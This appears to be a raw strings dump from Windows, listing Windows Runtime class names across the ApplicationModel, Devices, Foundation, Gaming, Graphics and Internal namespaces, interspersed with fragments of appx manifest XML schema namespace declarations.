Windows.ApplicationModel.Background.TimeTrigger
Windows.ApplicationModel.Background.ToastNotificationActionTrigger
Windows.ApplicationModel.Background.ToastNotificationHistoryChangedTrigger
Windows.ApplicationModel.Background.UserNotificationChangedTrigger
Windows.ApplicationModel.Background.WiFiOnDemandHotspotConnectTrigger
Windows.ApplicationModel.Background.WiFiOnDemandHotspotUpdateMetadataTrigger
Windows.ApplicationModel.Calls.AcceptedVoipPhoneCallOptions
Windows.ApplicationModel.Calls.AppInitiatedVoipPhoneCallOptions
Windows.ApplicationModel.Calls.IncomingVoipPhoneCallOptions
Windows.ApplicationModel.Calls.OutgoingVoipPhoneCallOptions
Windows.ApplicationModel.Calls.PhoneCall
Windows.ApplicationModel.Calls.PhoneCallBlocking
Windows.ApplicationModel.Calls.PhoneCallHistoryEntry
Windows.ApplicationModel.Calls.PhoneCallHistoryEntryAddress
Windows.ApplicationModel.Calls.PhoneCallHistoryEntryQueryOptions
Windows.ApplicationModel.Calls.PhoneCallHistoryManager
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Windows.ApplicationModel.Contacts.Internal.ContactManagerBroker
Windows.ApplicationModel.Contacts.Internal.ContactUIHelper
Windows.ApplicationModel.Contacts.KnownContactField
Windows.ApplicationModel.Contacts.PinnedContactManager
Windows.ApplicationModel.Contracts.Internal.ApplicationContractManager
Windows.ApplicationModel.Contracts.Internal.BackgroundContractOperationFactoryInterop
Windows.ApplicationModel.Contracts.Internal.BackgroundContractRequest
Windows.ApplicationModel.Contracts.Internal.BackgroundContractStore
Windows.ApplicationModel.Contracts.Internal.CdpLauncherClient
Windows.ApplicationModel.Contracts.Internal.ContractBrokerPartialTrustStore
Windows.ApplicationModel.Contracts.Internal.ContractBrokerStore
Windows.ApplicationModel.Contracts.Internal.OnDemandBrokerExecutor
Windows.ApplicationModel.Contracts.Internal.RemoteApplicationContractInterop
Windows.ApplicationModel.ConversationalAgent.ConversationalAgentDetectorManager
Windows.ApplicationModel.ConversationalAgent.ConversationalAgentSession
Windows.ApplicationModel.ConversationalAgent.Internal.ActivationSignalDetectionConfigurationInternal
Windows.ApplicationModel.ConversationalAgent.Internal.ConversationalAgentActivationSignalDetectorInternal
Windows.ApplicationModel.ConversationalAgent.Internal.ConversationalAgentSessionInternal
Windows.ApplicationModel.Core.AppListEntry
Windows.ApplicationModel.Core.CoreApplication
Windows.ApplicationModel.Core.DefaultInProcBackgroundTask
Windows.ApplicationModel.Core.Internal.PrelaunchConfig
Windows.ApplicationModel.Core.RestrictedAppContainer
Windows.ApplicationModel.Core.RestrictedAppContainerInternal
Windows.ApplicationModel.DataTransfer.Clipboard
Windows.ApplicationModel.DataTransfer.ClipboardContentOptions
Windows.ApplicationModel.DataTransfer.DataPackage
Windows.ApplicationModel.DataTransfer.DataTransferManager
Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragDropManager
Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragOperation
Windows.ApplicationModel.DataTransfer.HtmlFormatHelper
Windows.ApplicationModel.DataTransfer.Internal.CoreDragDropManagerInternal
Windows.ApplicationModel.DataTransfer.SharedStorageAccessManager
Windows.ApplicationModel.DataTransfer.ShareProvider
Windows.ApplicationModel.DataTransfer.ShareTarget.QuickLink
Windows.ApplicationModel.DataTransfer.ShareUIOptions
Windows.ApplicationModel.DataTransfer.StandardDataFormats
Windows.ApplicationModel.DesignMode
Windows.ApplicationModel.Email.EmailAttachment
Windows.ApplicationModel.Email.EmailIrmInfo
Windows.ApplicationModel.Email.EmailIrmTemplate
Windows.ApplicationModel.Email.EmailMailboxAutoReplySettings
Windows.ApplicationModel.Email.EmailManager
Windows.ApplicationModel.Email.EmailMeetingInfo
Windows.ApplicationModel.Email.EmailMessage
Windows.ApplicationModel.Email.EmailQueryOptions
Windows.ApplicationModel.Email.EmailRecipient
Windows.ApplicationModel.Email.EmailRecipientResolutionResult
Windows.ApplicationModel.ExtendedExecution.ExtendedExecutionSession
Windows.ApplicationModel.ExtendedExecution.Foreground.ExtendedExecutionForegroundSession
Windows.ApplicationModel.FindRelatedPackagesOptions
Windows.ApplicationModel.FullTrustProcessLauncher
Windows.ApplicationModel.Holographic.HolographicKeyboard
Windows.ApplicationModel.Internal.AppInstallerCheckForUpdates
Windows.ApplicationModel.Internal.DataTransfer.ClipboardBrokerProvider
Windows.ApplicationModel.Internal.DataTransfer.ClipboardChannel
Windows.ApplicationModel.Internal.DataTransfer.ClipboardHistoryItemInternal
Windows.ApplicationModel.Internal.DataTransfer.ClipboardHistoryServer
Windows.ApplicationModel.Internal.DataTransfer.ClipboardOperationAppInfo
Windows.ApplicationModel.Internal.DataTransfer.ClipboardPolicy
Windows.ApplicationModel.Internal.DataTransfer.ClipboardSettings
Windows.ApplicationModel.Internal.DataTransfer.ClipboardSettingsProvider
Windows.ApplicationModel.Internal.DataTransfer.ClipboardSignalProducer
Windows.ApplicationModel.Internal.DataTransfer.ClipboardViewManager
Windows.ApplicationModel.Internal.DataTransfer.CloudClipboard
Windows.ApplicationModel.Internal.DataTransfer.NearShare.NearShareExperience
Windows.ApplicationModel.Internal.DataTransfer.NearShare.NearShareExperienceFactory
Windows.ApplicationModel.Internal.DataTransfer.NearShare.ShareReceiverHandler
Windows.ApplicationModel.Internal.DataTransfer.NearShare.ShareSenderBroker
Windows.ApplicationModel.Internal.FullTrustProcessLauncherInternal
Windows.ApplicationModel.Internal.PackageCatalogInternal
Windows.ApplicationModel.Internal.PackageContentGroups
Windows.ApplicationModel.Internal.StartupTaskActivator
Windows.ApplicationModel.Internal.StartupTaskInternal
Windows.ApplicationModel.Internal.UserActivities.BrokeredUserActivityBroker
Windows.ApplicationModel.Internal.UserActivities.UserActivityAppId
Windows.ApplicationModel.Internal.UserActivities.UserActivityBroker
Windows.ApplicationModel.Internal.UserActivities.UserActivityChannelInternal
Windows.ApplicationModel.Internal.UserActivities.UserActivityGroupItemConverter
Windows.ApplicationModel.Internal.UserActivities.UserActivityHistoryPayload
Windows.ApplicationModel.Internal.UserActivities.UserActivityMonitor
Windows.ApplicationModel.Internal.UserActivities.UserActivityPayload
Windows.ApplicationModel.Internal.UserActivities.UserActivitySessionInfo
Windows.ApplicationModel.Internal.UserActivities.UserActivitySource
Windows.ApplicationModel.LimitedAccessFeatures
Windows.ApplicationModel.LockScreen.LockApplicationHost
Windows.ApplicationModel.Package
Windows.ApplicationModel.PackageCatalog
Windows.ApplicationModel.PackageContentGroup
Windows.ApplicationModel.PackageExtensions.PackageExtensionCatalog
Windows.ApplicationModel.PackageInstallingEventArgs
Windows.ApplicationModel.PackageStagingEventArgs
Windows.ApplicationModel.PackageStatusChangedEventArgs
Windows.ApplicationModel.PackageUninstallingEventArgs
Windows.ApplicationModel.PackageUpdateAvailabilityResult
Windows.ApplicationModel.Preview.Holographic.HolographicApplicationPreview
Windows.ApplicationModel.Preview.Holographic.HolographicKeyboardPlacementOverridePreview
Windows.ApplicationModel.Preview.InkWorkspace.InkWorkspaceHostedAppManager
Windows.ApplicationModel.Preview.Notes.NotesWindowManagerPreview
Windows.ApplicationModel.Preview.Notes.NotesWindowManagerPreviewShowNoteOptions
Windows.ApplicationModel.Resources.Core.Internal.SystemResourceManager
Windows.ApplicationModel.Resources.Core.ResourceContext
Windows.ApplicationModel.Resources.Core.ResourceManager
Windows.ApplicationModel.Resources.Management.IndexedResourceCandidate
Windows.ApplicationModel.Resources.Management.IndexedResourceQualifier
Windows.ApplicationModel.Resources.Management.IResourceIndexerFactory
Windows.ApplicationModel.Resources.Management.IResourceIndexerFactory2
Windows.ApplicationModel.Resources.Management.ResourceIndexer
Windows.ApplicationModel.Resources.ResourceLoader
Windows.ApplicationModel.Search.Core.SearchSuggestionManager
Windows.ApplicationModel.Search.LocalContentSuggestionSettings
Windows.ApplicationModel.Search.SearchPane
Windows.ApplicationModel.Search.SearchQueryLinguisticDetails
Windows.ApplicationModel.SocialInfo.Provider.SocialInfoProviderManager
Windows.ApplicationModel.SocialInfo.SocialFeedChildItem
Windows.ApplicationModel.Store.Internal.TestingFrameworkState
Windows.ApplicationModel.Store.LicenseInformation
Windows.ApplicationModel.Store.LicenseManagement.LicenseManager
Windows.ApplicationModel.Store.LicenseManagement.LicenseSatisfactionInfo
Windows.ApplicationModel.Store.LicenseManagement.LicenseSatisfactionResult
Windows.ApplicationModel.Store.ListingInformation
Windows.ApplicationModel.Store.Preview.DeliveryOptimizationSettings
Windows.ApplicationModel.Store.Preview.InstallControl.AppInstallManager
Windows.ApplicationModel.Store.Preview.InstallControl.AppInstallOptions
Windows.Devices.Custom.IOControlCode
Windows.Devices.Custom.KnownDeviceTypes
Windows.Devices.Display.Core.DisplayAdapter
Windows.Devices.Display.Core.DisplayHdrMetadata
Windows.Devices.Display.Core.DisplayManager
Windows.Devices.Display.Core.DisplayMuxDevice
Windows.Devices.Display.Core.DisplayPrimaryDescription
Windows.Devices.Display.Core.DisplayTelemetryInfo
Windows.Devices.Display.Core.DisplayWireFormat
Windows.Devices.Display.DisplayMonitor
Windows.Devices.Display.Internal.DisplayGlobalPreferenceManagerInternal
Windows.Devices.Display.Internal.DisplayMuxAppPreference
Windows.Devices.Display.Internal.DisplayMuxAppPreferenceLists
Windows.Devices.Display.Internal.VirtualMonitorSet
Windows.Devices.Display.LogicalDisplayReference
Windows.Devices.Enclosure.EnclosureInfo
Windows.Devices.Enumeration.DeviceAccessInformation
Windows.Devices.Enumeration.DeviceInformation
Windows.Devices.Enumeration.DeviceInformationPairing
Windows.Devices.Enumeration.DevicePicker
Windows.Devices.Enumeration.Pnp.PnpObject
Windows.Devices.Geolocation.GeoboundingBox
Windows.Devices.Geolocation.Geocircle
Windows.Devices.Geolocation.Geofencing.Geofence
Windows.Devices.Geolocation.Geofencing.GeofenceMonitor
Windows.Devices.Geolocation.Geolocator
Windows.Devices.Geolocation.Geopath
Windows.Devices.Geolocation.Geopoint
Windows.Devices.Geolocation.GeovisitMonitor
Windows.Devices.HumanInterfaceDevice.HidDevice
Windows.Devices.I2c.I2cConnectionSettings
Windows.Devices.I2c.I2cController
Windows.Devices.I2c.I2cDevice
Windows.Devices.Input.KeyboardCapabilities
Windows.Devices.Input.MouseCapabilities
Windows.Devices.Input.MouseDevice
Windows.Devices.Input.PenButtonListener
Windows.Devices.Input.PenDevice
Windows.Devices.Input.PenDockListener
Windows.Devices.Input.PointerDevice
msEdgeWindowsWelhbin
Windows.Devices.Lights.Lamp
Windows.Devices.Lights.LampArray
Windows.Devices.Lights.LampInfo
Windows.Devices.LowLevelDevicesAggregateProvider
Windows.Devices.LowLevelDevicesController
Windows.Devices.Midi.Internal.MidiPortBroker
Windows.Devices.Midi.MidiActiveSensingMessage
Windows.Devices.Midi.MidiChannelPressureMessage
Windows.Devices.Midi.MidiContinueMessage
Windows.Devices.Midi.MidiControlChangeMessage
Windows.Devices.Midi.MidiInPort
Windows.Devices.Midi.MidiNoteOffMessage
Windows.Devices.Midi.MidiNoteOnMessage
Windows.Devices.Midi.MidiOutPort
Windows.Devices.Midi.MidiPitchBendChangeMessage
Windows.Devices.Midi.MidiPolyphonicKeyPressureMessage
Windows.Devices.Midi.MidiProgramChangeMessage
Windows.Devices.Midi.MidiSongPositionPointerMessage
Windows.Devices.Midi.MidiSongSelectMessage
Windows.Devices.Midi.MidiStartMessage
Windows.Devices.Midi.MidiStopMessage
Windows.Devices.Midi.MidiSynthesizer
Windows.Devices.Midi.MidiSystemExclusiveMessage
Windows.Devices.Midi.MidiSystemResetMessage
Windows.Devices.Midi.MidiTimeCodeMessage
Windows.Devices.Midi.MidiTimingClockMessage
Windows.Devices.Midi.MidiTuneRequestMessage
Windows.Devices.Perception.FaceAuthenticationFrameSourceSet
Windows.Devices.Perception.KnownCameraIntrinsicsProperties
Windows.Devices.Perception.KnownPerceptionColorFrameSourceProperties
Windows.Devices.Perception.KnownPerceptionDepthFrameSourceProperties
Windows.Devices.Perception.KnownPerceptionFrameSourceProperties
Windows.Devices.Perception.KnownPerceptionInfraredFrameSourceProperties
Windows.Devices.Printers.IppIntegerRange
Windows.Devices.Printers.IppPrintDevice
Windows.Devices.Printers.IppResolution
Windows.Devices.Printers.IppTextWithLanguage
Windows.Devices.Printers.PageConfigurationSettings
Windows.Devices.Printers.Print3DDevice
Windows.Devices.Pwm.PwmController
Windows.Devices.Radios.Radio
Windows.Devices.Radios.RadioStaticsPrivate
Windows.Devices.Scanners.ImageScanner
Windows.Devices.Sensors.Accelerometer
Windows.Devices.Sensors.ActivitySensor
Windows.Devices.Sensors.Altimeter
Windows.Devices.Sensors.Barometer
Windows.Devices.Sensors.Compass
Windows.Devices.Sensors.Custom.CustomSensor
Windows.Devices.Sensors.FloorElevationSensor
Windows.Devices.Sensors.FloorsChangedThreshold
Windows.Devices.Sensors.Gyrometer
Windows.Devices.Sensors.HingeAngleSensor
Windows.Devices.Sensors.HumanPresenceSensor
Windows.Devices.Sensors.HumanPresenceSensorReadingUpdate
Windows.Devices.Sensors.HumanPresenceSettings
Windows.Devices.Sensors.Inclinometer
Windows.Devices.Sensors.Internal.Accelerometer
Windows.Devices.Sensors.Internal.Barometer
Windows.Devices.Sensors.Internal.Compass
Windows.Devices.Sensors.Internal.Gyrometer
Windows.Devices.Sensors.Internal.Inclinometer
Windows.Devices.Sensors.Internal.LightSensor
Windows.Devices.Sensors.Internal.Magnetometer
Windows.Devices.Sensors.Internal.OrientationSensor
Windows.Devices.Sensors.Internal.Sensor
Windows.Devices.Sensors.Internal.SimpleOrientationSensor
Windows.Devices.Sensors.LightSensor
Windows.Devices.Sensors.Magnetometer
Windows.Devices.Sensors.OrientationSensor
Windows.Devices.Sensors.Pedometer
Windows.Devices.Sensors.PedometerDataThreshold
Windows.Devices.Sensors.ProximitySensor
Windows.Devices.Sensors.ProximitySensorDataThreshold
Windows.Devices.Sensors.SimpleOrientationSensor
Windows.Devices.SerialCommunication.SerialDevice
Windows.Devices.SmartCards.Internal.SmartCardUtilitiesBroker
Windows.Devices.SmartCards.Internal.TpmVirtualSmartCardManagerBroker
Windows.Devices.SmartCards.KnownSmartCardAppletIds
Windows.Devices.SmartCards.SmartCardAppletIdGroup
Windows.Devices.SmartCards.SmartCardAppletIdGroupRegistration
Windows.Devices.SmartCards.SmartCardAutomaticResponseApdu
Windows.Devices.SmartCards.SmartCardCryptogramGenerator
Windows.Devices.Usb.UsbDeviceClasses
Windows.Devices.Usb.UsbEndpointDescriptor
Windows.Devices.Usb.UsbInterfaceDescriptor
Windows.Devices.Usb.UsbSetupPacket
Windows.Devices.WiFi.WiFiAdapter
Windows.Devices.WiFi.WiFiOnDemandHotspotNetwork
Windows.Devices.WiFiDirect.Services.WiFiDirectService
Windows.Devices.WiFiDirect.Services.WiFiDirectServiceAdvertiser
Windows.Devices.WiFiDirect.WiFiDirectAdvertisementPublisher
Windows.Devices.WiFiDirect.WiFiDirectConnectionListener
Windows.Devices.WiFiDirect.WiFiDirectConnectionParameters
Windows.Devices.WiFiDirect.WiFiDirectDevice
Windows.Devices.WiFiDirect.WiFiDirectInformationElement
Windows.FamilySafety.Internal.FamilySettings
Windows.FamilySafety.Internal.RatingManager
Windows.FamilySafety.Internal.UserInterface
Windows.FamilySafety.Internal.UserSettings
Windows.Foundation.ActivationContext
Windows.Foundation.ActivationContextFactory
Windows.Foundation.Collections.Detail.MarshalByValueValueSet
Windows.Foundation.Collections.Detail.Vector
Windows.Foundation.Collections.PropertySet
Windows.Foundation.Collections.StringMap
Windows.Foundation.Collections.ValueSet
Windows.Foundation.Deferral
Windows.Foundation.Diagnostics.AsyncCausalityTracer
Windows.Foundation.Diagnostics.ErrorDetails
Windows.Foundation.Diagnostics.FileLoggingSession
Windows.Foundation.Diagnostics.Internal.ErrorContextBuilder
Windows.Foundation.Diagnostics.Internal.ErrorDetailsInternal
Windows.Foundation.Diagnostics.LoggingActivity
Windows.Foundation.Diagnostics.LoggingChannel
Windows.Foundation.Diagnostics.LoggingChannelOptions
Windows.Foundation.Diagnostics.LoggingFields
Windows.Foundation.Diagnostics.LoggingOptions
Windows.Foundation.Diagnostics.LoggingSession
Windows.Foundation.Diagnostics.RuntimeBrokerErrorSettings
Windows.Foundation.ExtensionCatalog
Windows.Foundation.GuidHelper
Windows.Foundation.Handles.Internal.CompositionHandle
Windows.Foundation.Handles.Internal.EventHandle
Windows.Foundation.Handles.Internal.FileHandle
Windows.Foundation.Handles.Internal.JobHandle
Windows.Foundation.Handles.Internal.MutexHandle
Windows.Foundation.Handles.Internal.PipeHandle
Windows.Foundation.Handles.Internal.ProcessHandle
Windows.Foundation.Handles.Internal.RegistryKeyHandle
Windows.Foundation.Handles.Internal.SectionHandle
Windows.Foundation.Handles.Internal.SemaphoreHandle
Windows.Foundation.Handles.Internal.SocketHandle
Windows.Foundation.Handles.Internal.ThreadHandle
Windows.Foundation.Handles.Internal.TokenHandle
Windows.Foundation.MemoryBuffer
Windows.Foundation.MemoryBufferFactory
Windows.Foundation.Metadata.ApiInformation
Windows.Foundation.Private.Component
Windows.Foundation.Private.Component2
Windows.Foundation.Private.ComponentSite
Windows.Foundation.Private.ComponentUIActivatedEventArgs
Windows.Foundation.Private.CompositionDevice
Windows.Foundation.Private.CompositionVisual
Windows.Foundation.Private.RestrictedComponent
Windows.Foundation.PropertyValue
Windows.Foundation.Uri
Windows.Foundation.WwwFormUrlDecoder
Windows.Gaming.GameBar.PresenceServer.Internal.PresenceWriter
Windows.Gaming.Input.ArcadeStick
Windows.Gaming.Input.Custom.GameControllerFactoryManager
           targetNamespace="http://schemas.microsoft.com/appx/manifest/com/windows10/5"
           xmlns="http://schemas.microsoft.com/appx/manifest/com/windows10/5"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:com5="http://schemas.microsoft.com/appx/manifest/com/windows10/5"
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
Windows.Gaming.Input.RacingWheel
Windows.Gaming.Input.RawGameController
Windows.Gaming.Input.UINavigationController
Windows.Gaming.Internal.CallableUI.XboxLiveGamingUI
Windows.Gaming.Preview.GamesEnumeration.GameList
Windows.Gaming.Preview.GamesEnumeration.GameModeUserConfiguration
Windows.Gaming.UI.GameBar
Windows.Gaming.UI.GameChatOverlay
Windows.Gaming.UI.GameChatOverlayMessageSource
Windows.Gaming.XboxLive.Storage.GameSaveProvider
Windows.Globalization.ApplicationLanguages
Windows.Globalization.ApplicationLanguagesBrokered
Windows.Globalization.Calendar
Windows.Globalization.CalendarIdentifiers
Windows.Globalization.ClockIdentifiers
Windows.Globalization.Collation.CharacterGroupings
Windows.Globalization.CurrencyAmount
Windows.Globalization.CurrencyIdentifiers
Windows.Globalization.DateTimeFormatting.DateTimeFormatter
Windows.Globalization.Fonts.LanguageFontGroup
Windows.Globalization.GeographicRegion
Windows.Globalization.JapanesePhoneme
Windows.Globalization.JapanesePhoneticAnalyzer
Windows.Globalization.Language
Windows.Globalization.NumberFormatting.CurrencyFormatter
Windows.Globalization.NumberFormatting.DecimalFormatter
Windows.Globalization.NumberFormatting.IncrementNumberRounder
Windows.Globalization.NumberFormatting.NumeralSystemTranslator
Windows.Globalization.NumberFormatting.PercentFormatter
Windows.Globalization.NumberFormatting.PermilleFormatter
Windows.Graphics.Capture.GraphicsCaptureSession
Windows.Graphics.Capture.Server.CapturableItem
Windows.Graphics.Capture.Server.CaptureServerAccess
Windows.Graphics.Capture.Server.CaptureSession
Windows.Graphics.Display.BrightnessOverride
Windows.Graphics.Display.BrightnessOverrideSettings
Windows.Graphics.Display.ColorOverrideSettings
Windows.Graphics.Display.Core.HdmiDisplayInformation
Windows.Graphics.Display.DisplayEnhancementOverride
Windows.Graphics.Display.DisplayInformation
Windows.Graphics.Display.DisplayProperties
Windows.Graphics.Display.DisplayServices
Windows.Graphics.Holographic.HolographicDisplay
Windows.Graphics.Holographic.HolographicQuadLayer
Windows.Graphics.Holographic.HolographicSpace
Windows.Graphics.Imaging.BitmapDecoder
Windows.Graphics.Imaging.BitmapEncoder
Windows.Graphics.Imaging.BitmapPropertySet
Windows.Graphics.Imaging.BitmapTransform
Windows.Graphics.Imaging.BitmapTypedValue
Windows.Graphics.Printing.PrintSupport.PrintSupportPrintTicketElement
Windows.Graphics.Printing.PrintSupport.PrintSupportSettingsActivatedEventArgs
Windows.Graphics.Printing.StandardPrintTaskOptions
Windows.Graphics.Printing.Workflow.PrintWorkflowObjectModelSourceFileContent
Windows.Graphics.Printing3D.Print3DManager
Windows.Graphics.Printing3D.Print3DModelPackage
Windows.Graphics.Printing3D.Printing3D3MFPackage
Windows.Graphics.Printing3D.Printing3DBaseMaterial
Windows.Graphics.Printing3D.Printing3DBaseMaterialGroup
Windows.Graphics.Printing3D.Printing3DColorMaterial
Windows.Graphics.Printing3D.Printing3DColorMaterialGroup
Windows.Graphics.Printing3D.Printing3DComponent
Windows.Graphics.Printing3D.Printing3DComponentWithMatrix
Windows.Graphics.Printing3D.Printing3DCompositeMaterial
Windows.Graphics.Printing3D.Printing3DCompositeMaterialGroup
Windows.Graphics.Printing3D.Printing3DFaceReductionOptions
Windows.Graphics.Printing3D.Printing3DMaterial
Windows.Graphics.Printing3D.Printing3DMesh
Windows.Graphics.Printing3D.Printing3DMeshVerificationResult
Windows.Internal.AAD.BrokerPlugin.UserTilePicture
Windows.Internal.AAD.BrokerPlugin.WinHelloCerts
Windows.Internal.AAD.BrowserSSO.CookieStore
Windows.Internal.AAD.Ngc.PinManager
Windows.Internal.Accessibility.ClosedCaptioningThemeSettings
Windows.Internal.Accessibility.Experience.CustomCursor
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveActionInvoker
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveActionsConfig
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveCard
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveCardConfig
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveCardParseResult
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveCardRenderer
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveCardResourceResolvers
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveChoiceInput
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveChoiceSetInput
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveChoiceSetInputRenderer
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveColorConfig
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveColorsConfig
Microsoft.Windows.ApplicationModel.Resources
Microsoft.Windows.Imaging
Microsoft.Windows.Management.Deploy
Microsoft.Windows.PushNotification
Windows.Internal.Feedback.SiufFeedback
Windows.Internal.Feedback.SiufPayload
Windows.Internal.Feedback.StringFeedback.StringFeedbackEngine
Windows.Internal.FeedbackHub.FeedbackHubInternal
Windows.Internal.FileExplorerAppExtension
Windows.Internal.FileExplorerConfiguration
Windows.Internal.FileExplorerHelpers
Windows.Internal.Flighting.ClientAttributes
Windows.Internal.Flighting.FeatureConfiguration.FeatureConfigurationsManager
Windows.Internal.Flighting.OneSettings.OneSettingsManager
Windows.Internal.Flighting.OneSettings.OneSettingsPayload
Windows.Internal.Gaming.ForceFeedback.ForceFeedbackBroker
Windows.Internal.Gaming.ForceFeedback.ForceFeedbackEffect
Windows.Internal.Gaming.GamingDevice.GamingDeviceStatics
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveRemoteResourceInformation
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveRenderArgs
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveRenderContext
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveSeparator
Windows.Internal.AdaptiveCards.Rendering.Uwp.AdaptiveSeparatorConfig
Windows.Internal.ApplicationModel.Sync.CertificateHelper
Windows.Internal.ApplicationModel.Sync.ImportAccountsOperation
Windows.Internal.ApplicationModel.Sync.MailContactsCalendarSyncUI
Windows.Internal.ApplicationModel.Sync.SettingsOrFixErrorsOperation
Windows.Internal.ApplicationModel.Sync.TokenBrokerHelper
Windows.Internal.ApplicationModel.TaskbarPinnableSurface
Windows.Internal.ApplicationModel.WindowingEnvironment.DisplayRegionModel
Windows.Internal.ApplicationModel.WindowingEnvironment.WindowingEnvironmentModel
Windows.Internal.ApplicationModel.WindowingEnvironment.WindowingEnvironmentModelBatch
Windows.Internal.ApplicationModel.WindowManagement.AppModelFullScreenPresentationOptions
Windows.Internal.ApplicationModel.WindowManagement.AppModelProjectionPresentationOptions
Windows.Internal.ApplicationModel.WindowManagement.AppModelSpanningPresentationOptions
Windows.Internal.ApplicationModel.WindowManagement.AppView
Windows.Internal.ApplicationModel.WindowManagement.AppViewInProc
Windows.Internal.ApplicationModel.WindowManagement.CoreAppModel
Windows.Internal.ApplicationModel.WindowManagement.CoreAppModelInProc
Windows.Internal.ApplicationModel.WindowManagement.UniversalAppModel
Windows.Internal.ApplicationModel.WindowManagement.UniversalAppModelInProc
Windows.Internal.ApplicationModel.WindowManagement.Window
Windows.Internal.ApplicationModel.WindowManagement.WindowClientAdapterInterop
Windows.Internal.ApplicationModel.WindowManagement.WindowInProc
Windows.Internal.ApplicationTargetedFeatureDatabase.ApplicationTargetedFeatureConfig
Windows.Internal.ApplicationTargetedFeatureDatabase.ApplicationTargetedFeatureQuery
Windows.Internal.ApplicationTargetedFeatureDatabase.ApplicationTargetedFeatureResult
Windows.Internal.ApplicationTargetedFeatureDatabase.ApplicationTargetedFeatureValue
Windows.Internal.AppResolver.AppResolverActivationArgsFactory
Windows.Internal.AppUriDefaults.AppUriDefaultHelpers
Windows.Internal.AssignedAccess.AppLauncherProxy
Windows.Internal.AssignedAccess.AssignedAccessController
Windows.Internal.AssignedAccess.AssignedAccessControllerPrivileged
Windows.Internal.AssignedAccess.AssignedAccessManager
Windows.Internal.BackgroundMediaPlayback.BackgroundMediaPlaybackGetActivationFactory
Windows.Internal.BackupRestore.SettingsProviders.LocalBackupSettingsProvider
Windows.Internal.BackupRestore.SettingsProviders.OneBackupHandlerStatics
Windows.Internal.BackupRestore.SettingsProviders.Win7BackupSettingsProvider
Windows.Internal.Bluetooth.Broker
Windows.Internal.Bluetooth.EventBrokerHelper
Windows.Internal.Bluetooth.RfcommHelper
Windows.Internal.BrokeredFileExplorerHelpers
Windows.Internal.CapabilityAccess.AppLaunchCapabilityAccess
Windows.Internal.CapabilityAccess.CapabilityAccess
Windows.Internal.CapabilityAccess.Foreground.AppForegroundHelper
Windows.Internal.CapabilityAccess.Management.CapabilityConsent
Windows.Internal.CapabilityAccess.Management.CapabilityConsentManager
Windows.Internal.CapabilityAccess.Management.CapabilityProvisioning
Windows.Internal.CapabilityAccess.Management.CapabilityUsage
Windows.Internal.CapabilityAccess.UsageHistory.AppCapabilityUsageHistory
Windows.Internal.CapabilityAccess.UsageHistory.CapabilitySuspiciousUsageHistory
Windows.Internal.CapabilityAccess.UsageHistory.CapabilityUsageHistory
Windows.Internal.CapabilityAccess.UsageHistory.CapabilityUsageHistoryAnnotator
Windows.Internal.CapabilityAccess.UsageHistory.CopilotCapabilityUsageHistory
Windows.Internal.ComposableShell.ActivationPolicyManager
Windows.Internal.ComposableShell.ApplicationInputSink
Windows.Internal.ComposableShell.AppStreamingPresentationOption
Windows.Internal.ComposableShell.Core.ActivationPolicyManagerPrivate
Windows.Internal.ComposableShell.Core.ComposerContextManager
Windows.Internal.ComposableShell.Core.ComposerManager
Windows.Internal.ComposableShell.Core.ComposerViewProvider
Windows.Internal.ComposableShell.Core.CoreForegroundPolicyManager
Windows.Internal.ComposableShell.Core.CoreShellController
Windows.Internal.ComposableShell.Core.CoreShellInputSinkController
Windows.Internal.ComposableShell.Core.CoreStandardForegroundPolicyEvaluator
Windows.Internal.ComposableShell.Core.CoreTreeNodeFactory
Windows.Internal.ComposableShell.Core.DisplayPowerMonitorPrivate
           targetNamespace="http://schemas.microsoft.com/appx/manifest/printsupport/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/printsupport/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/9"
           xmlns="http://schemas.microsoft.com/appx/manifest/desktop/windows10/9"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop6="http://schemas.microsoft.com/appx/manifest/desktop/windows10/6"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/6"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
